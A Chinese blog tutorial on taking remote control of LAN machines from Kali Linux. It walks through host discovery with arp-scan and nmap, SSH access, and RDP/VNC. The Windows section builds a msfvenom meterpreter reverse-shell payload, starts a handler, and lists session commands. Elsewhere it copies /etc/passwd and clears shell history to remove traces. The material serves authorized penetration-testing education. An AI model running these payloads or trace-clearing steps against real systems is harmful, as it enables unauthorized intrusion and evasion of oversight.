上周一个朋友问我,能不能用Kali远程控制局域网里另一台电脑,像向日葵那样。我说可以,而且Kali内置的工具链比向日葵灵活得多——不需要对方安装任何客户端,也不依赖公网中转服务器,只要两台机器在同一个局域网内,就能建立起一条稳定的控制链路。这篇文章我就把常用的几条路都走一遍:从最简单的SSH命令行接管,到用MSF生成一个轻量级载荷实现Windows主机的完整会话,再到RDP和VNC的图形化接管,顺便聊聊我在真实测试中踩过的坑。先说清楚:以下所有操作仅适用于你拥有主机权限的授权测试环境,未经授权拿别人的机器做实验,后果你自己担。
1. 先给冲动提个醒:远程控制不等于越权操作
1.1 为什么"局域网"反而更容易翻车
很多刚开始接触Kali的朋友,觉得局域网是个天然安全区,路由器拉着一根线,里面都是"自己人",于是放心大胆地跑扫描、开连接。但实际恰恰相反,局域网内部是最容易出事的环节——同一广播域里的设备互相可见,ARP广播满天飞,任何一台中了招的主机都可能被用来横向移动。所谓"内网渗透测试"之所以被单独列为一个方向,就是因为局域网内可玩的手段太多了。
远程控制这个动作本身是中性的,就像一把螺丝刀,可以修电脑,也可以撬门。区别只在于你有没有合法的授权。在国内的法律框架下,未经授权进入他人计算机系统,哪怕只是看一眼桌面,都算违法。所以我必须在一开头就把这条线划清楚:这篇博客里提到的每一条命令、每一个过程,都默认是在你自己拥有的虚拟机、物理机,或者你已签订测试授权书的服务器上执行。
1.2 授权边界:如何确认自己真的有权操作
最稳妥的标准是三条:一是目标主机的所有者是你本人;二是你所在团队与目标资产方签了正式的渗透测试合同或安全评估授权书;三是你在厂商授权的漏洞众测平台上进行合法测试。三条占任意一条,才可以继续往下读。
我自己带实验课的时候,会为每位学员分配独立的虚拟机,所有目标都是隔离网段里的靶机,不让学员拿Kali去连同学电脑。原因很简单——模拟环境可以重来一百次,真实环境出了事一次就够受的。所以下面所有操作,请在你的测试环境里复现。
2. 第一步:把局域网里的"活口"全部摸出来
远程控制的前提是知道目标在哪。即使你已经知道目标IP,也推荐先做一遍快速发现,因为局域网里IP变了是常事。DHCP一重启,昨天还在的192.168.1.100,今天可能就换成了192.168.1.103。扫一遍能避免你对着一个空IP干瞪眼。
2.1 用arp-scan做二层发现
Kali里最顺手的局域网发现工具,我首推arp-scan。它直接发送ARP请求,让局域网内所有存活主机回复MAC地址。ARP是二层协议,只要目标主机开着并且网络通畅,即使它开着防火墙,也会回复ARP(防火墙一般都放行ARP),所以发现成功率很高。
sudo arp-scan -l-l表示扫描本地网段,等价于--localnet。执行后你会得到类似这样的输出:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:aa:bb:cc, IPv4: 192.168.1.10 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.1.1 aa:bb:cc:11:22:33 (Unknown) 192.168.1.100 00:0c:29:xx:yy:zz VMware, Inc. 192.168.1.101 08:00:27:qq:ww:ee PCS Systemtechnik GmbH这里192.168.1.1通常是路由器,192.168.1.100和101是虚拟机的话,厂商列会显示VMware或VirtualBox的OUI信息。这个信息很有用:如果某个IP显示的是手机厂商(比如Apple、Samsung),那它大概率是手机,不适合用后面的SSH或MSF方式;如果显示的是VMware,基本可以确定是虚拟机,非常适合做测试目标。
2.2 用nmap做主机发现与操作系统识别
ARP扫描告诉你存活清单,但还没有告诉你操作系统类型。这时候用nmap补一刀:
sudo nmap -sn 192.168.1.0/24-sn是ping扫描,只做主机发现,不扫端口,速度快。nmap会通过ICMP、TCP 80/443、TCP 53等方式探测,结果比arp-scan更丰富,但可能被防火墙过滤掉部分探测包,导致漏报。
确定目标IP后,再做一次操作系统指纹识别:
sudo nmap -O 192.168.1.100-O开启操作系统探测,nmap会分析TCP/IP协议栈的响应特征,给出一个推测结果,比如"Microsoft Windows 10"或"Linux 5.x"。有了这个信息,你就可以决定用哪条路去远程控制:Linux优先SSH,Windows考虑MSF或RDP。
2.3 通过端口进一步确认入口
如果你想更快判断目标提供的服务,顺手扫一下关键端口:
sudo nmap -sS -p 22,3389,445,135 192.168.1.100-sS是SYN半开扫描,速度快,需要root权限。- 22端口开放,大概率是Linux或Windows装了OpenSSH。
- 3389开放,说明Windows远程桌面服务在运行。
- 445/135开放,很可能是Windows主机。
把这些信息记下来,后面控制方式的选择就清晰了。
3. Linux主机接管:从SSH到持久会话
3.1 SSH的基本连接与免密登录
对Linux主机来说,最可靠的远程控制就是SSH。它加密、稳定、支持各种绕过断线的方式,而且在绝大多数Linux服务器上默认启用。连接命令:
ssh user@192.168.1.100如果目标SSH端口改成了别的,比如2222:
ssh -p 2222 user@192.168.1.100第一次连接会出现提示确认目标指纹,输入yes即可。这里是典型的中间人攻击风险点,但在局域网且你已扫描确认过IP的前提下,风险可以接受。
为了后续多次控制方便,建议配置SSH密钥免密登录。在Kali上生成密钥:
ssh-keygen -t ed25519一路回车即可,这样会生成一个无密码的私钥(测试环境够用)。然后把公钥传到目标:
ssh-copy-id user@192.168.1.100输入一次目标用户密码,之后你再ssh user@192.168.1.100就不用输密码了,写脚本自动化控制会很顺手。
3.2 远程执行命令与文件传输
SSH不只是打开一个交互式Shell。你可以让它在目标机上直接执行单条命令,然后返回结果:
ssh user@192.168.1.100 'uname -a && whoami && ip -brief address'这在批量检查多台Linux服务器时极其高效。一次循环就能拿到所有主机的系统信息。
传文件则用SCP或SFTP:
scp localfile user@192.168.1.100:/tmp/ scp user@192.168.1.100:/etc/passwd /home/kali/passwd_backupSFTP交互模式更灵活:
sftp user@192.168.1.100在/tmp里的文件默认30天清理,测试用的临时文件放那里最合适。
3.3 SSH隧道:把内网服务安全地带回Kali
远程控制有时不只是要Shell,还要访问目标所在网络里的其他服务。比如目标主机能访问内网的一台监控管理页面192.168.1.200:8080,而你的Kali在外部网络,无法直接访问它。这时候SSH本地端口转发就很香:
ssh -L 8080:192.168.1.200:8080 user@192.168.1.100这条命令的意思是:让Kali的8080端口监听,通过SSH隧道经目标主机192.168.1.100转发到192.168.1.200的8080端口。然后你直接在Kali浏览器打开http://127.0.0.1:8080,就能访问到那台内网设备的Web页面。SSH隧道天然加密,比直接暴露内网服务安全得多。
3.4 连接中断后的善后:screen/tmux
实际远程控制最烦什么?不是命令敲错,是网络一抖,SSH断了,正在跑的脚本、编译任务全停了。解决办法是在目标主机上用tmux或screen把会话保住。
ssh user@192.168.1.100 tmux new -s deploy在tmux里执行长任务,然后按Ctrl+b再按d分离会话。就算SSH断开,目标上的tmux进程还在跑。重新连上后:
tmux attach -t deploy一切照旧。对于运维型远程控制,这几乎是个必选项。我做远程升级时,习惯先开tmux再执行apt upgrade,不然可能因为一条网络波动错过确认提示,然后升级过程就卡在那了。
4. Windows主机接管:MSF的meterpreter才是主力
4.1 为什么选反向连接
Windows默认不带SSH服务端,虽然现在可以装OpenSSH,但很多老机器并没有。更普遍、更灵活的方式是使用Metasploit Framework的MSFvenom生成一个Payload,让目标主机反向连接到你的Kali。
这里的关键词是反向连接(reverse_tcp)。为什么不用正向连接(bind_tcp)?因为Windows防火墙默认拦截入站连接,但通常放行出站流量。正向连接是在目标上开一个监听端口,然后Kali连过去,很容易被防火墙拦;反向连接是目标主动连Kali的端口,相当于合法的Web请求,穿透成功率大得多。
4.2 用msfvenom生成载荷
假设Kali的IP是192.168.1.10,目标是64位的Windows 10/Server。生成一个64位meterpreter反向TCP载荷:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe-p指定payload类型。LHOST必须是Kali能收到的IP,这里是局域网IP,而不是公网IP。LPORT是Kali监听端口,取一个不容易撞车的,比如4444。-f exe指定输出格式为Windows可执行文件。
如果你的目标是老32位系统,把payload改成windows/meterpreter/reverse_tcp即可。
生成的payload.exe通常在几十KB到几百KB之间。在授权测试环境中,投递方式无所谓,可以让目标用户手动点击,也可以放到共享文件夹里。但注意,不要把它放到真实环境,这只是实验。
4.3 启动handler并等待目标上线
在Kali里启动MSF控制台:
msfconsole然后执行:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 exploit -j-j表示后台运行监听,这样MSF控制台还能继续用。当目标主机执行payload.exe后,你会看到这样的输出:
[*] Sending stage (200712 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.100:51789)输入sessions -i 1即可进入meterpreter会话。
4.4 拿到会话后的常用操作
进入meterpreter后,你就拥有了一条加密的、跨平台的远程控制通道。常用命令如下:
| 命令 | 作用 |
|---|---|
sysinfo | 查看系统版本、架构、主机名 |
getuid | 查看当前用户身份 |
shell | 进入目标系统原生命令行(cmd) |
upload /path/file | 上传文件到目标 |
download filename | 从目标下载文件 |
screenshot | 截取目标屏幕图像 |
getenv PATH | 查看环境变量 |
比如执行shell后,你会得到一个交互式cmd,可以像坐在目标机器前一样敲命令:
meterpreter > shell Process 1234 created. Channel 1 created. Microsoft Windows [Version 10.0.19045.3570] (c) Microsoft Corporation. All rights reserved. C:\Users\Administrator>输入exit回到meterpreter。这些操作已经覆盖了"远程控制"的绝大部分需求:看系统信息、执行命令、传文件、截图。
4.5 常见问题:杀软拦截、端口占用、会话掉线
这套流程最大的现实敌人是杀毒软件。未混淆的payload.exe大概率会被Windows Defender识别并隔离。在测试环境里,可以临时关闭目标的实时保护,但这样就不太真实了。想绕过杀软需要做免杀处理,这是另一个很深的领域,不在此文中展开。我给你的建议是:只用MSF做验证,不要指望它能穿透真实生产环境。
端口选4444经常被占,实际情况中防火墙可能对高位端口有限制。换个方式:用443端口?443通常是HTTPS,看起来像正常流量,但未必在测试环境里放行。如果监听失败,用ss -lntp看端口占用,换一个再试。
会话掉线也很常见。原因可能是目标休眠、网络切换、或者杀软在某个动作后把进程杀了。掉线后重新生成payload、重新监听,有时解决问题,但更关键的是找到掉线原因。如果目标是笔记本且插着网线,一般不会频繁掉线;如果是Wi-Fi连接的机器,信号抖动就可能断。在测试环境中,保持Kali和目标都使用有线网络或同一稳定的AP,能省去很多麻烦。
5. 图形化接管:RDP和VNC的选择与配置
命令行虽然高效,但有些场景必须看桌面:比如目标上跑着一个客户端软件,你需要点开界面验证状态;或者你需要在Windows上操作一个需要GUI的工具。这时候就要用到远程桌面协议。
5.1 RDP连接Windows远程桌面
Windows自带的远程桌面协议(RDP)是图形化接管Windows最正统的方式。前提是目标开启了"允许远程桌面"。在测试环境中,可以通过以下方式自行开启:
# 在目标Windows上以管理员身份运行PowerShell Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0然后确保防火墙放行3389端口:
Enable-NetFirewallRule -DisplayGroup "远程桌面"从Kali连接,可以用命令行工具xfreerdp:
xfreerdp /u:administrator /v:192.168.1.100 /size:1280x800或者用Kali自带的Remmina图形客户端,操作更直观。输入账号密码后,就能看到目标的桌面了。RDP默认加密传输,在局域网内使用很安全。
注意一点:Windows远程桌面不允许空密码账户登录,所以目标用户必须设置密码。如果连接时报"凭据无法工作",先检查用户名和密码,再检查目标是否开启了Network Level Authentication(NLA)——从Kali连接时,某些版本需要关闭NLA才能连上。
5.2 VNC连接Linux图形环境
Linux图形界面远程控制,最常用的是VNC。目标Linux上需要安装并启动一个VNC服务。以Ubuntu为例:
sudo apt install tightvncserver启动并设置访问密码:
tightvncserver第一次启动会让你设置一个6~8位的密码,还会问你是否设置view-only密码,按需选择。默认情况下,它会启动一个DISPLAY :1的会话,对应端口5901。Kali用vncviewer连接:
vncviewer 192.168.1.100:1输入之前设置的密码,就能看到目标Linux桌面了。
这里的数字:1指display号,映射到端口号是5900+N。所以:2就是5902端口。如果目标有多个VNC会话,通过display号区分。
5.3 什么时候该用图形化,什么时候该用命令行
我个人的经验是:能用命令行就绝不打开远程桌面。图形化远程控制虽然直观,但有几个缺点:
- 流量大,协议效率低,画面刷新拖慢速度。
- 目标桌面一旦锁屏或待机,VNC/RDP连接可能直接失败。
- 在屏幕上操作目标时,自己的操作很容易肉眼可见,隐蔽性差。
SSH和meterpreter的命令行控制则轻量得多,而且可以脚本化、自动化。图形化只适合两种情况:一是你需要操作目标上的GUI程序;二是你想要向观众演示某个桌面操作。日常巡检、文件管理、执行命令,全部走命令行。
6. 远程控制之后:从清理痕迹到链路加固
6.1 测试结束后,记录比清理更重要
很多人学Kali久了,会形成一种"用完就擦"的习惯,觉得清理日志、删除临时文件是收尾必备。但在正规的渗透测试项目中,我更推荐反过来:保留一份完整操作记录,方便写测试报告。目标主机上留下的SSH登录记录、meterpreter连接日志,反而可以作为"测试行为确实发生"的证据。
如果你的目标是纯实验环境,清理痕迹倒也无妨。比如你通过SSH在目标Linux上执行过命令,目标可能会在/var/log/auth.log里留下记录,在~/.bash_history里留下历史命令。想减少痕迹,可以在登录后立刻执行:
unset HISTFILE或者退出前清空当前用户的历史:
history -c但这些做法在实际攻防中意义有限,因为高水平的安全设备会从网络侧记录一切。所以,把清理留给实验环境,把记录带到真实测试报告里。
6.2 给自己的Kali和目标做一次加固
远程控制测试结束后,应该顺手做两件事:一是检查目标主机的SSH配置是否有不安全项,二是确认你的Kali本身没有因为测试被外部控制。
重点检查Kali上的SSH服务(如果开着的话):
sudo nano /etc/ssh/sshd_config至少确保:
PermitRootLogin prohibit-password(禁止root密码登录,但允许密钥)PasswordAuthentication yes(如果不需要密码登录可以改为no,使用key)- 监听端口如果不是默认22,记好端口号。
目标主机方面,如果你在测试中开启了远程桌面或安装了VNC服务,测试结束后一定记得关闭或卸载,否则等于给局域网留了个后门。
6.3 关于远程控制的最后一个建议
在我折腾Kali的这几年里,最大的体会是:远程控制不是工具越多越好,而是越可靠越好。SSH覆盖Linux,MSF覆盖Windows,RDP/VNC做图形兜底,这三板斧已经能解决绝大多数局域网远程控制需求。你需要的不是再造一个"向日葵",而是理解每种控制方式背后的原理——加密、连接方向、端口、防火墙影响。把这些原理吃透,遇到任何一台主机,你都能在几分钟内选出一条最稳的控制链路。
这也正是Kali和普通远程控制软件最大的区别:它不是给你一个傻瓜式的按钮,而是给你一把可自由组合的多功能钥匙。至于这把钥匙该不该用、用在哪,永远取决于你自己的判断。我的建议始终只有一个:先在虚拟机的隔离环境里练熟,再谈其他。